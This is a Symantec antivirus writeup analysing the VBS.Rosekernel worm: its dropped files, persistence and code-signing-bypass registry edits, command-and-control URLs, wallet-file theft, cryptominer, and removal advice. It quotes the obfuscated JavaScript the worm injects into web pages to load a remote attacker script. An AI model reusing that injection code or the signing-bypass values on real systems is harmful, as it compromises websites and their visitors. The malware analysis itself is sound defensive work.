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Discovered: April 10, 2019
Updated: April 12, 2019 3:59:02 AM
Type: Trojan, Worm
Infection Length: Varies
Systems Affected: Windows

VBS.Rosekernel is a worm that spreads via removable drives and network shares. It opens a backdoor on the compromised computer and downloads potentially malicious files.

Antivirus Protection Dates

  • Initial Rapid Release version April 10, 2019 revision 017
  • Latest Rapid Release version June 08, 2019 revision 006
  • Initial Daily Certified version April 10, 2019 revision 020
  • Latest Daily Certified version June 09, 2019 revision 002
  • Initial Weekly Certified release date April 17, 2019

Click here for a more detailed description of Rapid Release and Daily Certified virus definitions.

Technical Description

The threat may spread through removable drives.

When executed, the worm creates the following files:

  • %SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\win.vbs
  • %AllUsersProfile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.vbs
  • %SystemDrive%\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.vbs
  • %SystemDrive%\ProgramData\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.vbs
  • %System%\win.vbs
  • %SystemDrive%\ProgramData\AppData\Local\Temp\rknrl.vbs
  • %AllUsersProfile%\AppData\Local\Temp\rknrl.vbs
  • [WORKING DIRECTORY]\rknrl.vbs
  • %SystemDrive%\Users\Default\AppData\Local\Temp\rknrl.vbs
  • %System%\rknrl.vbs
  • %Temp%\rknrl.vbs
  • %System%\DM6331.TMP
  • %SystemDrive%\DM6331.TMP
  • %SystemDrive%\Users\Default\AppData\Local\Temp\DM6331.TMP
  • %SystemDrive%\autoexec.vbs
  • [WORKING DIRECTORY]\winstart.vbs
  • %Temp%\winstart.vbs
  • %Temp%\winstart\svchost.exe
  • %Temp%\winstart\miner.exe
  • %Temp%\rknrl.TMP1
  • %Temp%\rknrl.TMP2

The worm creates the following registry entry so that it runs every time Windows starts:
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"winstart" = "wscript.exe //B "rknrl.vbs""

The worm then modifies the following registry entries and tries to bypass Microsoft code signing verification:
  • HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\"Dll" = "%Windir%\System32\ntdll.dll"
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\"FuncName" = "DbgUiContinue"

Next, the worm connects to the following remote locations:
  • http://newtogo.[REMOVED].com/ctrl/playback.php
  • http://www.airobo[REMOVED].tk/ctr1/playback.php
  • https://raw.[REMOVED].com/rocknstone/rocknroll/master/ctrl/url.html
  • http://aigoingtokill.[REMOVED]com/ctr1/url.html
  • http://newtogo.[REMOVED].com/ctrl/url.html
  • http://[REMOVED].aigookill.com/ctrl/url.html
  • https://rocknstone.[REMOVED].io/ctrl/url.html

The worm may then perform the following malicious actions, depending on the commands received from the aforementioned URLs:
  • Execute arbitrary commands
  • Run a specified executable file
  • Download/upload/delete files
  • Update the command and control (C&C) server
  • End specified processes

Next, the worm goes through files on the compromised computer and uploads files whose name contains any of the following strings:
  • wallet
  • electrum
  • keys

The worm then infects files with any of the following names:
  • default.asp
  • default.php
  • default.htm
  • default.html
  • index.asp
  • index.php
  • index.htm
  • index.html
  • iisstart.htm
  • main.htm
  • main.html

To infect these files, the worm inserts the following malicious JavaScript code tag:
var z = document.createElement("script");
z.src = "xairybythewyrldzaigyingtykillzcym/ctr1/jszhtm".replace(/y/g, "o"}.replace(/x/, "http://").replace(/z/g, ".");
document. getElement sByTagName("HEAD") [0]. appendChild(z);

The worm ends the following processes before running its own downloaded miner program:
  • xmrig.exe
  • xmrig-amd.exe
  • xmrig-nvidia.exe
  • xmrig-not1s-32.exe
  • xmrig-not1s.exe
  • xmrig-amd-not1s.exe
  • minergate-cli.exe
  • xmr-stak.exe

Next, the worm copies %Temp%\rknrl.TMP1 to the following:
  • [MS OFFICE PATH]\Normal.doc

The worm also copies %Temp%\rknrl.TMP2 to the following:
  • [MS OFFICE PATH]\book.xls

The worm goes through the following folders and infects the shortcut files if these files are pointing to the MS Office Word or Excel programs:
  • %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs
  • %SystemDrive%\users\[ANY_USER]\AppData\Roaming\Microsoft\Internet Explorer
  • %SystemDrive%\users\[ANY_USER]\Desktop
  • %SystemDrive%\Documents and settings\All Users
  • %SystemDrive%\Documents and settings\[ANY_USER]\Application Data\Microsoft\Internet Explorer
  • %SystemDrive%\Documents and settings\[ANY_USER]\Desktop

To infect these shortcut files, the worm modifies the shortcut files to open the following malicious files:
  • [MS OFFICE PATH]\Normal.doc
  • [MS OFFICE PATH]\book.xls

The worm then makes all folders on the removable drive act as shortcuts (.LNK files) pointing to the worm.

The worm attempts to spread to other IP addresses on the network using a list of hardcoded user names and passwords.


Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

  • Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.
  • Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
  • Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.
  • Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.
  • Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.
  • Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.
  • If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
  • Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
  • Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.
  • Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.
  • Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
  • If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.
  • For further information on the terms used in this document, please refer to the Security Response glossary.


You may have arrived at this page either because you have been alerted by your Symantec product about this risk, or you are concerned that your computer has been affected by this risk.

Before proceeding further we recommend that you run a full system scan. If that does not resolve the problem you can try one of the options available below.

If you are a Norton product user, we recommend you try the following resources to remove this risk.

Removal Tool
Use our tools to remove aggressive risks from your computer.

Infected Windows system files may need to be repaired using the Windows installation CD .

How to reduce the risk of infection
Check out our extensive collections of helpful advice and tips on how to stay safe online .

If you are a Symantec business product user, we recommend you try the following resources to remove this risk.

Identifying and submitting suspect files
Submitting suspicious files to Symantec allows us to ensure that our protection capabilities keep up with the ever-changing threat landscape. Submitted files are analyzed by Symantec Security Response and, where necessary, updated definitions are immediately distributed through LiveUpdate™ to all Symantec end points. This ensures that other computers nearby are protected from attack. The following resources may help in identifying suspicious files for submission to Symantec.

Removal Tool

If you have an infected Windows system file, you may need to replace it using the Windows installation CD .

The following instructions pertain to all current Symantec antivirus products.

1. Performing a full system scan
For information on how to run a full system scan using your Symantec product, follow the guidance given in the product's Help section.

2. Restoring settings in the registry
Many risks make modifications to the registry, which could impact the functionality or performance of the compromised computer. While many of these modifications can be restored through various Windows components, it may be necessary to edit the registry. See in the Technical Details of this writeup for information about which registry keys were created or modified. Delete registry subkeys and entries created by the risk and return all modified registry entries to their previous values.

Writeup By: Liang Yuan